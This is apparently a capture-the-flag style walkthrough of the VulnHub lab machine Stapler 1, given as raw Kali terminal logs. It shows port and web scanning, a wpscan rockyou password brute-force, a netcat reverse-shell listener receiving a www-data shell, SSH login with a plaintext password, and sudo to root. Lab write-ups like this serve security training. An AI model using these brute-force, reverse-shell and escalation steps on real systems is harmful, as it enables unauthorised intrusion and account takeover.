靶场练习-vulnhub：STAPLER 1

┌──(root㉿kali)-[~]

└─# nmap 192.168.74.139 -p- -T5

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 09:30 EDT

Nmap scan report for 192.168.74.139

Host is up (0.00032s latency).

Not shown: 65523 filtered tcp ports (no-response)

PORT      STATE  SERVICE

20/tcp    closed ftp-data

21/tcp    open   ftp

22/tcp    open   ssh

53/tcp    open   domain

80/tcp    open   http

123/tcp   closed ntp

137/tcp   closed netbios-ns

138/tcp   closed netbios-dgm

139/tcp   open   netbios-ssn

666/tcp   open   doom

3306/tcp  open   mysql

12380/tcp open   unknown

MAC Address: 00:0C:29:24:85:D3 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 54.69 seconds

┌──(root㉿kali)-[~]

└─# nmap 192.168.74.139 -sV -p 12380 

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 09:36 EDT

Nmap scan report for 192.168.74.139

Host is up (0.00038s latency).

PORT      STATE SERVICE VERSION

12380/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

MAC Address: 00:0C:29:24:85:D3 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 11.66 seconds

nmap 192.168.74.139 --script=vuln

┌──(root㉿kali)-[~]

└─# dirsearch -u http://192.168.74.139        

/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html

  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3

 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/reports/http_192.168.74.139/_24-04-08_09-32-20.txt

Target: http://192.168.74.139/

[09:32:20] Starting: 

[09:32:21] 200 -  220B  - /.bash_logout                                     

[09:32:21] 200 -    4KB - /.bashrc                                          

[09:32:26] 200 -  675B  - /.profile                                         

Task Completed

┌──(root㉿kali)-[~]

└─# nikto -h 192.168.74.139:12380

- Nikto v2.5.0

---------------------------------------------------------------------------

+ Target IP:          192.168.74.139

+ Target Hostname:    192.168.74.139

+ Target Port:        12380

+ Start Time:         2024-04-08 09:38:58 (GMT-4)

---------------------------------------------------------------------------

+ Server: Apache/2.4.18 (Ubuntu)

+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

+ /: Uncommon header 'dave' found, with contents: Soemthing doesn't look right here.

+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.

+ /c/: This might be interesting.

+ /js: This might be interesting.

+ /CSNews.cgi?command=viewnews&database=none: csNews reveals system path and other sensitive information in error messages. Also may be possible to bypass authentication mechanism.

+ /ci/: This might be interesting: potential country code (CÔte D'ivoire).

+ /is/: This might be interesting: potential country code (Iceland).

+ /ie/: This might be interesting: potential country code (Ireland).

+ /nu/: This might be interesting: potential country code (Niue).

+ /sb/: This might be interesting: potential country code (Solomon Islands).

+ /gs/: This might be interesting: potential country code (South Georgia And The South Sandwich Islands).

+ /wcadmin/login.aspx: QS/1 Webconnect administration panel.

+ 8115 requests: 14 error(s) and 14 item(s) reported on remote host

+ End Time:           2024-04-08 09:52:01 (GMT-4) (783 seconds)

---------------------------------------------------------------------------

+ 1 host(s) tested

┌──(root㉿kali)-[~]

└─# dirsearch -u https://192.168.74.139:12380

/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html

  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3                                                                            

 (_||| _) (/_(_|| (_| )                                                                                     

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/reports/https_192.168.74.139_12380/_24-04-08_10-05-28.txt

Target: https://192.168.74.139:12380/

[10:05:28] Starting:                                                                                        

[10:05:35] 403 -  303B  - /.ht_wsr.txt                                      

[10:05:35] 403 -  306B  - /.htaccess.bak1                                   

[10:05:35] 403 -  306B  - /.htaccess_orig                                   

[10:05:35] 403 -  304B  - /.htaccessBAK                                     

[10:05:35] 403 -  308B  - /.htaccess.sample

[10:05:35] 403 -  306B  - /.htaccess.orig

[10:05:35] 403 -  305B  - /.htaccessOLD2

[10:05:35] 403 -  296B  - /.htm

[10:05:35] 403 -  304B  - /.htaccess_sc                                     

[10:05:35] 403 -  307B  - /.htaccess_extra

[10:05:35] 403 -  306B  - /.htaccess.save

[10:05:35] 403 -  297B  - /.html                                            

[10:05:35] 403 -  302B  - /.htpasswds                                       

[10:05:35] 403 -  306B  - /.htpasswd_test                                   

[10:05:35] 403 -  304B  - /.htaccessOLD

[10:05:35] 403 -  303B  - /.httr-oauth

[10:05:37] 403 -  296B  - /.php                                             

[10:05:37] 403 -  297B  - /.php3                                            

[10:06:27] 301 -  331B  - /javascript  ->  https://192.168.74.139:12380/javascript/

[10:06:43] 301 -  331B  - /phpmyadmin  ->  https://192.168.74.139:12380/phpmyadmin/

[10:06:45] 200 -    3KB - /phpmyadmin/doc/html/index.html                   

[10:06:45] 200 -    3KB - /phpmyadmin/                                      

[10:06:45] 200 -    3KB - /phpmyadmin/index.php                             

[10:06:53] 200 -   59B  - /robots.txt                                       

[10:06:56] 403 -  305B  - /server-status                                    

[10:06:56] 403 -  306B  - /server-status/                                   

Task Completed

┌──(root㉿kali)-[~]

└─# nikto -h https://192.168.74.139:12380/

- Nikto v2.5.0

---------------------------------------------------------------------------

+ Target IP:          192.168.74.139

+ Target Hostname:    192.168.74.139

+ Target Port:        12380

---------------------------------------------------------------------------

+ SSL Info:        Subject:  /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=[email protected]

                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384

                   Issuer:   /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=[email protected]

+ Start Time:         2024-04-08 10:05:43 (GMT-4)

---------------------------------------------------------------------------

+ Server: Apache/2.4.18 (Ubuntu)

+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

+ /: Uncommon header 'dave' found, with contents: Soemthing doesn't look right here.

+ /: The site uses TLS and the Strict-Transport-Security HTTP header is not defined. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security

+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ /robots.txt: Entry '/admin112233/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file

+ RFC-1918 /blogblog/: IP address found in the 'x-pingback' header. The IP is "192.168.164.128". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed

+ /robots.txt: Entry '/blogblog/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file

+ /robots.txt: contains 2 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt

+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.

+ Hostname '192.168.74.139' does not match certificate's names: Red.Initech. See: https://cwe.mitre.org/data/definitions/297.html

+ OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST .

+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1.

+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/

+ /phpmyadmin/: phpMyAdmin directory found.

+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.

+ 8259 requests: 1 error(s) and 15 item(s) reported on remote host

+ End Time:           2024-04-08 10:13:34 (GMT-4) (471 seconds)

---------------------------------------------------------------------------

+ 1 host(s) tested

┌──(root㉿kali)-[~]

└─# wpscan --url https://192.168.74.139:12380/blogblog/ --disable-tls-checks

┌──(root㉿kali)-[~]

└─# wpscan --url https://192.168.74.139:12380/blogblog/--disable-tls-checks --api-token 我的 KEY

┌──(root㉿kali)-[~]

└─# wpscan --url https://192.168.74.139:12380/blogblog/ --disable-tls-checks -e u

┌──(root㉿kali)-[~/Desktop]

└─# wpscan --url https://192.168.74.139:12380/blogblog -P /usr/share/wordlists/rockyou.txt -U john --disable-tls-checks --max-threads 100 --password-attack wp-login

┌──(root㉿kali)-[~]

└─# nc -lvp 1234

listening on [any] 1234 ...

Warning: forward host lookup failed for bogon: Unknown host

connect to [192.168.74.129] from bogon [192.168.74.139] 57954

Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 athlon i686 GNU/Linux

 14:49:29 up  2:17,  0 users,  load average: 84.46, 78.24, 48.52

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

uid=33(www-data) gid=33(www-data) groups=33(www-data)

/bin/sh: 0: can't access tty; job control turned off

$

www-data@red:/home$ ssh peter@localhost

ssh peter@localhost

Could not create directory '/var/www/.ssh'.

The authenticity of host 'localhost (127.0.0.1)' can't be established.

ECDSA key fingerprint is SHA256:WuY26BwbaoIOawwEIZRaZGve4JZFaRo7iSvLNoCwyfA.

Are you sure you want to continue connecting (yes/no)? yes

yes

Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).

-----------------------------------------------------------------

~          Barry, don't forget to put a message here           ~

-----------------------------------------------------------------

peter@localhost's password: JZQuyIN5

Welcome back!

This is the Z Shell configuration function for new users,

zsh-newuser-install.

You are seeing this message because you have no zsh startup files

(the files .zshenv, .zprofile, .zshrc, .zlogin in the directory

~).  This function can help you with a few settings that should

make your use of the shell easier.

You can:

(q)  Quit and do nothing.  The function will be run again next time.

(0)  Exit, creating the file ~/.zshrc containing just a comment.

     That will prevent this function being run again.

(1)  Continue to the main menu.

(2)  Populate your ~/.zshrc with the configuration recommended

     by the system administrator and exit (you will need to edit

     the file by hand, if so desired).

--- Type one of the keys in parentheses --- 2

2^J

prompt_adam1_setup:1: scalar parameter prompt_adam1_color1 created globally in function

prompt_adam1_setup:2: scalar parameter prompt_adam1_color2 created globally in function

prompt_adam1_setup:3: scalar parameter prompt_adam1_color3 created globally in function

prompt_adam1_setup:5: scalar parameter base_prompt created globally in function

prompt_adam1_setup:6: scalar parameter post_prompt created globally in function

prompt_adam1_setup:9: scalar parameter base_prompt_no_color created globally in function

prompt_adam1_setup:10: scalar parameter post_prompt_no_color created globally in function

/home/peter/.zshrc:15: scalar parameter HISTFILE created globally in function

(eval):1: scalar parameter LS_COLORS created globally in function

peter@red ~ %                                                                  

peter@red ~ % sudo -l                                                          

sudo -l

We trust you have received the usual lecture from the local System

Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.

    #2) Think before you type.

    #3) With great power comes great responsibility.

[sudo] password for peter: JZQuyIN5

Matching Defaults entries for peter on red:

    lecture=always, env_reset, mail_badpass,

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on red:

    (ALL : ALL) ALL

peter@red ~ % sudo su root                                                     

sudo su root

➜  peter id                                                                    

id

uid=0(root) gid=0(root) groups=0(root)